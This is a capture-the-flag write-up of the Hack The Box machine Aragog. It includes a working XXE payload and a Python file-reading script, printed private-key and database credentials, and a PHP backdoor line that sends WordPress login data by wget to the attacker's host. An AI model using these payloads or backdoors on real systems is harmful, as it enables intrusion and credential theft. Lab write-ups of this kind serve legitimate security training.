Aragog Writeup
16 May 2023 #CTF #HTB #box #medium #linuxEnumeration
nmap
$ sudo nmap -sC -sV 10.10.10.78
[...]
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.14
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ad21fb5016d493dcb7291f4cc2611648 (RSA)
| 256 2c94003c572fc2497724aa226a437db1 (ECDSA)
|_ 256 9aff8be40e98705229680ecca07d5c1f (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://aragog.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: Host: aragog.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[...]
FTP
Anonymous access to this FTP server is allowed:
$ ftp anonymous@10.10.10.78
[...]
ftp> ls -a
229 Entering Extended Passive Mode (|||48610|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Sep 12 2022 .
drwxr-xr-x 2 ftp ftp 4096 Sep 12 2022 ..
-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
There is only a test.txt
as nmap
reported.
test.txt
is in fact a XML file:
<details>
<subnet_mask>255.255.255.192</subnet_mask>
<test></test>
</details>
HTTP
Since we are redirected to http://aragog.htb
when accessing the webserver, it's worth looking for additional virtual hosts:
$ ffuf -u http://10.10.10.78/ -H 'Host: FUZZ.aragog.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[...]
In this case, we don't find any.
On http://aragog.htb
, we get the default Apache install page:
Let's run feroxbuster
to see if we can find other pages:
$ feroxbuster -u http://aragog.htb/ -x php,txt
200 GET 15l 74w 6143c http://aragog.htb/icons/ubuntu-logo.png
200 GET 375l 968w 11321c http://aragog.htb/
200 GET 3l 6w 46c http://aragog.htb/hosts.php
Let's take a look at this /hosts.php
page:
It looks like the output in incomplete so maybe it expects some parameter. We can try fuzzing a GET parameter:
$ ffuf -u 'http://aragog.htb/hosts.php?FUZZ=10.10.10.78/24' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fr '4294967294'
[...]
We filter any response that contains the string 4294967294
, but we don't get anything.
Even after using different wordlists and changing the method to POST, we still don't find anything.
Let's think about the file we discovered in the FTP server. It has to be here for a reason right? Let's send it in a POST request:
We get a different output! It seems like this endpoint accepts XML input.
Foothold
Since we are dealing with XML, we should always try XXE. Let's try grabbing the /etc/passwd
file on the server. To do that, we have to define an external entity which enables us to load a file. We can then reference it with &entity_name;
in the tag:
It works! We can read files off the server. I made this (arguably unnecessary) python script to read files easily:
#!/usr/bin/env python3
from cmd import Cmd
import requests
import sys
url = "http://aragog.htb/hosts.php"
payload = """<!DOCTYPE details [<!ENTITY yep SYSTEM "file://$FILE$">]>
<details>
<subnet_mask>&yep;</subnet_mask>
<test></test>
</details>
"""
session = requests.Session()
session.headers.update({"Content-Type": "application/xml"})
#session.proxies.update({"http": "127.0.0.1:8080"})
class XXE(Cmd):
prompt = "XXE > "
def default(self, filename):
if len(filename) == 0:
return
res = session.post(url, data=payload.replace("$FILE$", filename))
file = res.text.replace("There are 4294967294 possible hosts for ", "").strip()
print(file)
# quit gracefully on CTRL+D
def do_EOF(self, _):
session.close()
sys.exit()
xxe = XXE()
try:
xxe.cmdloop()
except KeyboardInterrupt:
session.close()
It's using the cmd
module to provide an interactive command line interface. We just enter the filename and it displays it:
$ ./xxe.py
XXE > /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
florian:x:1000:1000:florian,,,:/home/florian:/bin/bash
cliff:x:1001:1001::/home/cliff:/bin/bash
[...]
There are 2 users on this box: Florian and Cliff. It turns out we can read Florian's private SSH key:
XXE > /home/florian/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA50DQtmOP78gLZkBjJ/JcC5gmsI21+tPH3wjvLAHaFMmf7j4d
+YQEMbEg+yjj6/ybxJAsF8l2kUhfk56LdpmC3mf/sO4romp9ONkl9R4cu5OB5ef8
lAjOg67dxWIo77STqYZrWUVnQ4n8dKG4Tb/z67+gT0R9lD9c0PhZwRsFQj8aKFFn
1R1B8n9/e1PB0AJ81PPxCc3RpVJdwbq8BLZrVXKNsg+SBUdbBZc3rBC81Kle2CB+
Ix89HQ3deBCL3EpRXoYVQZ4EuCsDo7UlC8YSoEBgVx4IgQCWx34tXCme5cJa/UJd
[...]
Copy this to a file and run chmod 0600
on it to be able to SSH in as Florian.
Privesc
Local Enumeration
Looking at the listening ports, we find MySQL running locally:
florian@aragog:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:22 *:*
LISTEN 0 80 127.0.0.1:3306 *:*
LISTEN 0 128 :::80 :::*
LISTEN 0 32 :::21 :::*
LISTEN 0 128 :::22 :::*
There are 2 additional directories we missed in /var/www/html
:
florian@aragog:~$ ls -Al /var/www/html
total 24
drwxrwxrwx 5 cliff cliff 4096 May 16 09:25 dev_wiki
-rw-r--r-- 1 www-data www-data 689 Dec 21 2017 hosts.php
-rw-r--r-- 1 www-data www-data 11321 Dec 18 2017 index.html
drw-r--r-- 5 cliff cliff 4096 Sep 12 2022 zz_backup
dev_wiki
is a wordpress install:
florian@aragog:~$ ls /var/www/html/dev_wiki/
index.php wp-admin wp-content wp-load.php wp-signup.php
license.txt wp-blog-header.php wp-cron.php wp-login.php wp-trackback.php
readme.html wp-comments-post.php wp-includes wp-mail.php xmlrpc.php
wp-activate.php wp-config.php wp-links-opml.php wp-settings.php
The DB password is in wp-config.php
:
[...]
define('DB_NAME', 'wp_wiki');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', '$@y6CHJ^$#5c37j$#6h');
/** MySQL hostname */
define('DB_HOST', 'localhost');
[...]
This password is not reused for the Cliff user but we can at least access the wordpress database:
florian@aragog:~$ mysql -u root -p'$@y6CHJ^$#5c37j$#6h'
[...]
mysql> select * from wp_users\G
*************************** 1. row ***************************
ID: 1
user_login: Administrator
user_pass: $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu.
user_nicename: administrator
user_email: it@megacorp.com
user_url:
user_registered: 2017-12-20 23:26:04
user_activation_key:
user_status: 0
display_name: Administrator
1 row in set (0.00 sec)
There is a user but I couldn't crack this hash with rockyou.txt
.
Steal Cliff's Creds
After uploading pspy
to the box and running it, we see that Cliff (UID 1001) is running a python script every minute:
florian@aragog:/dev/shm$ ./pspy64
[...]
2023/05/16 10:20:01 CMD: UID=1001 PID=2949 | /usr/bin/python3 /home/cliff/wp-login.py
[...]
The name of the script suggests that it is logging in to wordpress. There is even a hint for that on the blog at http://aragog.htb/dev_wiki/index.php/blog/
:
This also explains the zz_backup
directory which is just a backup of dev_wiki
.
Since dev_wiki
is chmod 777
(world writable), we can modify wp-login.php
to log the creds when Cliff logs in:
<?php
[...]
system("wget --post-data='" . json_encode($_REQUEST) . "' 10.10.14.14");
[...]
This will just use wget
to send a POST request containing all parameters of the request from Cliff.
Now let's setup a nc
listener to catch the data. After at most 1 minute we should get a hit:
$ nc -lnvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.78.
Ncat: Connection from 10.10.10.78:46934.
POST / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.10.14.14
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
{"log":"Administrator","pwd":"!KRgYs(JFO!&MTr)lf",[...]}
We can actually log in as root with this password:
florian@aragog:~$ su -l
Password:
root@aragog:~# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- XML -> always try XXE
- Write access to web directory -> backdoor it to steal creds
- Always spray creds on each service/account